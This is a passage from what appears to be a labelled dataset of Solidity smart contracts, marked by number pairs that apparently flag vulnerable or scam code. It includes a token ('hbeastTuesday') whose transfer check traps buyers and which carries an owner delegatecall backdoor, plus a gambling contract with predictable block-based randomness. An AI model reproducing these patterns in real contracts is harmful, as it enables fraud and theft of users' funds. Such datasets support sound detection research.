return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Base {
using SafeMath for uint256;
uint public createTime = now;
address public owner;
uint public currentEventId = 1;
uint256 public ownerDividend = 0 ;
uint256 public thisEther = 0 ;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) public onlyOwner {
require(msg.sender == tx.origin);
userRefund();
owner = _newOwner;
}
function getEventId() internal returns(uint _result) {
_result = currentEventId;
currentEventId ++;
}
function userRefund() public onlyOwner returns(bool _result) {
require(msg.sender == tx.origin);
if(ownerDividend > 0 ){
msg.sender.transfer(ownerDividend);
ownerDividend = 0 ;
}
return true;
}
}
contract FreeCell is Base{
string constant public name = "FreeCell";
uint256 public curPosition = 0;
uint public lastPlayTime = 0;
uint public expirationTime = 24 hours;
uint256 public BASE_BET_ETHER = 0.01 ether;
uint public REWARD_WIN_MULTIPLE_PER = 60;
uint public PRE_WIN_MULTIPLE_PER = 30;
uint public KING_WIN_MULTIPLE_PER = REWARD_WIN_MULTIPLE_PER + PRE_WIN_MULTIPLE_PER;
uint public REWARD_NUM = 200;
uint public REWARD_FORWARD_POSITION = REWARD_NUM - 1 ;
uint public CELL_ADD_SPACE = 0.0005 ether ;
uint public STEP_SIZE = 50 ;
uint public MAX_LENGTH = 1000000 ;
function FreeCell() public {
require(REWARD_WIN_MULTIPLE_PER.add(PRE_WIN_MULTIPLE_PER) < 100) ;
require(curPosition == 0);
owner = msg.sender;
lastPlayTime = now;
}
struct betInfo {
address addr;
uint256 card;
}
mapping (uint256 => betInfo) public playerBetInfoOf;
mapping (uint256 => uint256) public resultOf;
event OnGetAward(uint256 indexed _position, address indexed _player, uint256 indexed _card, uint256 _prePosition, uint256 _rewardMoney, uint8 _type, uint256 _eventId, uint256 _eventTime);
event OnPlay(uint256 indexed _position, address indexed _player, uint256 indexed _card, uint256 _eventId, uint256 _eventTime);
function playBatch(uint256 num) public payable returns(bool _result){
require(msg.sender == tx.origin);
uint256 userMoney = msg.value;
if(now.sub(lastPlayTime) > expirationTime){
getEventId();
address _lastPalayUser = playerBetInfoOf[curPosition].addr ;
uint256 _toLastPlayer = _rewardKing(1, MAX_LENGTH,_lastPalayUser,uint8(4));
if(userMoney > 0){
msg.sender.transfer(userMoney);
}
if(_toLastPlayer > 0 ){
_lastPalayUser.transfer(_toLastPlayer);
}
lastPlayTime = now ;
_result = true;
return ;
}else{
lastPlayTime = now ;
}
for(uint256 i = 0;i < num; i++){
(_result,userMoney) = _play(userMoney);
if(!_result){
break ;
}
}
if(userMoney > 0){
msg.sender.transfer(userMoney);
}
}
function play() public payable returns(bool _result){
require(msg.sender == tx.origin);
uint256 userMoney = msg.value;
if(now.sub(lastPlayTime) > expirationTime){
getEventId();
address _lastPalayUser = playerBetInfoOf[curPosition].addr ;
uint256 _toLastPlayer = _rewardKing(1, MAX_LENGTH,_lastPalayUser,uint8(4));
if(userMoney > 0){
msg.sender.transfer(userMoney);
}
if(_toLastPlayer > 0 ){
_lastPalayUser.transfer(_toLastPlayer);
}
lastPlayTime = now ;
_result = true;
return ;
}else{
lastPlayTime = now ;
}
(_result,userMoney) = _play(userMoney);
require(_result);
if(userMoney > 0){
msg.sender.transfer(userMoney);
}
}
function _isKingKong(uint256 _card) private pure returns(bool _result){
_result = false;
if(_card % 111111 == 0){
_result = true ;
}
}
function _isStraight(uint256 _card) private pure returns(bool _result){
_result = false;
if(_card >= 543210){
if(_isKingKong(_card.sub(12345)) || _isKingKong(_card.sub(543210))){
_result = true ;
}
}else if(_card > 123455){
if(_isKingKong(_card.sub(12345))){
_result = true ;
}
}else{
_result = false;
}
}
function viewPosition(uint256 _card) public view returns(uint256 _position) {
_position = resultOf[_card];
if(_position > curPosition || playerBetInfoOf[_position].card != _card){
_position = 0 ;
}
}
function viewBetEther(uint256 _position) public view returns(uint256 _betEther) {
_betEther = _position.sub(1).div(STEP_SIZE).mul(CELL_ADD_SPACE).add(BASE_BET_ETHER);
return _betEther;
}
function viewNeedBetEther(uint256 num) public view returns(uint256 _betEther) {
require(num <= 20) ;
return viewSumEther(curPosition.add(1),curPosition.add(num));
}
function _sumEther(uint256 _position) private view returns(uint256 _totalEther){
if(_position < STEP_SIZE){
return _position.mul(BASE_BET_ETHER);
}else if(_position % STEP_SIZE == 0){
return viewBetEther(_position).add(BASE_BET_ETHER).mul(_position).div(2);
}else{
uint256 _remainder = _position % STEP_SIZE;
uint256 _bak = _position.sub(_remainder);
return viewBetEther(_bak).add(BASE_BET_ETHER).mul(_bak).div(2).add(viewBetEther(_position).mul(_remainder));
}
}
function viewSumEther(uint256 _prePosition,uint256 _curPosition) public view returns(uint256 _betEther) {
if(_prePosition <= 1){
return _sumEther(_curPosition);
}
return _sumEther(_curPosition).sub(_sumEther(_prePosition.sub(1)));
}
function _play(uint256 _userMoney) private returns(bool _result,uint256 _toUserMoney){
_result = false;
_toUserMoney = _userMoney;
uint256 _betEther = viewBetEther(curPosition.add(1));
if(_toUserMoney < _betEther){
return (_result,_toUserMoney);
}
curPosition++;
_toUserMoney= _toUserMoney.sub(_betEther);
thisEther = thisEther.add(_betEther);
uint256 seed = uint256(
keccak256(
block.timestamp,
block.difficulty,
uint256(keccak256(block.coinbase))/(now),
block.gaslimit,
uint256(keccak256(msg.sender))/ (now),
block.number,
_betEther,
getEventId(),
gasleft()
)
);
uint256 _card = seed % MAX_LENGTH;
emit OnPlay(curPosition, msg.sender, _card, currentEventId, now);
uint256 _toRewardPlayer = 0;
if(_isKingKong(_card) || _isStraight(_card)){
if(curPosition > REWARD_FORWARD_POSITION){
uint256 _prePosition = curPosition.sub(REWARD_FORWARD_POSITION);
}else{
_prePosition = 1;
}
_toRewardPlayer = _rewardKing(_prePosition, _card,msg.sender,uint8(3));
_toUserMoney= _toUserMoney.add(_toRewardPlayer);
_result = true;
return (_result,_toUserMoney);
}
_prePosition = resultOf[_card];
if(_prePosition != 0 && _prePosition < curPosition && playerBetInfoOf[_prePosition].card == _card ){
_toRewardPlayer = _reward(_prePosition, _card);
_toUserMoney= _toUserMoney.add(_toRewardPlayer);
_result = true;
return (_result,_toUserMoney);
}else{
betInfo memory bi = betInfo({
addr : msg.sender,
card : _card
});
playerBetInfoOf[curPosition] = bi;
resultOf[_card]=curPosition;
_result = true;
return (_result,_toUserMoney);
}
}
function _reward(uint256 _prePosition,uint256 _card) private returns(uint256 _toRewardPlayer){
_toRewardPlayer = 0;
require(_prePosition >= 1);
betInfo memory bi = playerBetInfoOf[_prePosition];
require(bi.addr != 0x0);
uint256 _sumRewardMoney = viewSumEther(_prePosition, curPosition);
_toRewardPlayer = _sumRewardMoney.mul(REWARD_WIN_MULTIPLE_PER).div(100) ;
uint256 _toPrePlayer = _sumRewardMoney.mul(PRE_WIN_MULTIPLE_PER).div(100) ;
uint256 _toOwner = _sumRewardMoney.sub(_toRewardPlayer).sub(_toPrePlayer);
emit OnGetAward(curPosition,msg.sender,_card,_prePosition,_toRewardPlayer,uint8(1),currentEventId,now);
emit OnGetAward(_prePosition,bi.addr,_card,curPosition,_toPrePlayer,uint8(2),currentEventId,now);
curPosition = _prePosition.sub(1);
thisEther = thisEther.sub(_sumRewardMoney);
ownerDividend = ownerDividend.add(_toOwner);
if(msg.sender != bi.addr){
bi.addr.transfer(_toPrePlayer);
}else{
_toRewardPlayer = _toRewardPlayer.add(_toPrePlayer);
}
}
function _rewardKing(uint256 _prePosition,uint256 _card, address _user,uint8 _type) private returns(uint256 _toRewardPlayer){
_toRewardPlayer = 0;
require(_prePosition >= 1);
uint256 _sumRewardMoney = viewSumEther(_prePosition, curPosition);
_toRewardPlayer = _sumRewardMoney.mul(KING_WIN_MULTIPLE_PER).div(100) ;
uint256 _toOwner = _sumRewardMoney.sub(_toRewardPlayer);
emit OnGetAward(curPosition,_user,_card,_prePosition,_toRewardPlayer,_type,currentEventId,now);
curPosition = _prePosition.sub(1);
thisEther = thisEther.sub(_sumRewardMoney);
ownerDividend = ownerDividend.add(_toOwner);
}
} | 0 | 285 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract hbeastTuesday {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,344 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances_;
mapping(address => mapping(address => uint256)) internal allowed_;
uint256 internal totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
contract EthTeamContract is StandardToken, Ownable {
event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event BeginGame(address indexed team1, address indexed team2, uint64 gameTime);
event EndGame(address indexed team1, address indexed team2, uint8 gameResult);
event ChangeStatus(address indexed team, uint8 status);
uint256 public price;
uint8 public status;
uint64 public gameTime;
uint64 public finishTime;
address public feeOwner;
address public gameOpponent;
function EthTeamContract(
string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner
) public {
name = _teamName;
symbol = _teamSymbol;
decimals = 3;
totalSupply_ = 0;
price = 1 szabo;
gameOpponent = _gameOpponent;
gameTime = _gameTime;
finishTime = _finishTime;
feeOwner = _feeOwner;
owner = msg.sender;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to != address(this)) {
return super.transfer(_to, _value);
}
require(_value <= balances_[msg.sender] && status == 0);
if (gameTime > 1514764800) {
require(gameTime > block.timestamp);
}
balances_[msg.sender] = balances_[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
uint256 weiAmount = price.mul(_value);
msg.sender.transfer(weiAmount);
emit Transfer(msg.sender, _to, _value);
emit Sell(_to, msg.sender, _value, weiAmount);
return true;
}
function() payable public {
require(status == 0 && price > 0);
if (gameTime > 1514764800) {
require(gameTime > block.timestamp);
}
uint256 amount = msg.value.div(price);
balances_[msg.sender] = balances_[msg.sender].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Transfer(address(this), msg.sender, amount);
emit Buy(address(this), msg.sender, amount, msg.value);
}
function changeStatus(uint8 _status) onlyOwner public {
require(status != _status);
status = _status;
emit ChangeStatus(address(this), _status);
}
function changeFeeOwner(address _feeOwner) onlyOwner public {
require(_feeOwner != feeOwner && _feeOwner != address(0));
feeOwner = _feeOwner;
}
function finish() onlyOwner public {
require(block.timestamp >= finishTime);
feeOwner.transfer(address(this).balance);
}
function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public {
require(_gameOpponent != address(this));
require(_gameTime == 0 || (_gameTime > 1514764800));
gameOpponent = _gameOpponent;
gameTime = _gameTime;
status = 0;
emit BeginGame(address(this), _gameOpponent, _gameTime);
}
function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public {
require(gameOpponent != address(0) && gameOpponent == _gameOpponent);
uint256 amount = address(this).balance;
uint256 opAmount = gameOpponent.balance;
require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3);
EthTeamContract op = EthTeamContract(gameOpponent);
if (_gameResult == 1) {
if (amount > 0 && totalSupply_ > 0) {
uint256 lostAmount = amount;
if (op.totalSupply() > 0) {
uint256 feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else {
op.transferFundAndEndGame();
}
} else if (_gameResult == 2) {
if (amount > opAmount) {
lostAmount = amount.sub(opAmount).div(2);
if (op.totalSupply() > 0) {
feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else if (amount == opAmount) {
op.transferFundAndEndGame();
} else {
revert();
}
} else if (_gameResult == 3) {
op.transferFundAndEndGame();
} else {
revert();
}
endGameInternal();
if (totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
emit EndGame(address(this), _gameOpponent, _gameResult);
}
function endGameInternal() private {
gameOpponent = address(0);
gameTime = 0;
status = 0;
}
function transferFundAndEndGame() payable public {
require(gameOpponent != address(0) && gameOpponent == msg.sender);
if (msg.value > 0 && totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
endGameInternal();
}
} | 0 | 428 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function balanceOf(address _owner) public constant returns (uint256);
function allowance(address _owner, address _spender) public constant returns (uint256);
uint256 public totalSupply;
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowances[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowances[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
}
contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public owner;
}
contract PapyrusPrototypeToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount, uint256 priceUsd);
event MintFinished();
event Burn(address indexed burner, uint256 amount);
event TransferableChanged(bool transferable);
function() public { revert(); }
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function mint(address _to, uint256 _amount, uint256 _priceUsd) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
if (_priceUsd != 0) {
uint256 amountUsd = _amount.mul(_priceUsd).div(10**18);
totalCollected = totalCollected.add(amountUsd);
}
Mint(_to, _amount, _priceUsd);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalBurned = totalBurned.add(_value);
Burn(burner, _value);
}
function setTransferable(bool _transferable) onlyOwner public returns (bool) {
require(transferable != _transferable);
transferable = _transferable;
TransferableChanged(transferable);
return true;
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTransfer() {
require(transferable || msg.sender == owner);
_;
}
string public name = "Papyrus Prototype Token";
string public symbol = "PRP";
string public version = "H0.1";
uint8 public decimals = 18;
bool public transferable = false;
bool public mintingFinished = false;
uint256 public totalBurned;
uint256 public totalCollected;
} | 1 | 2,332 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
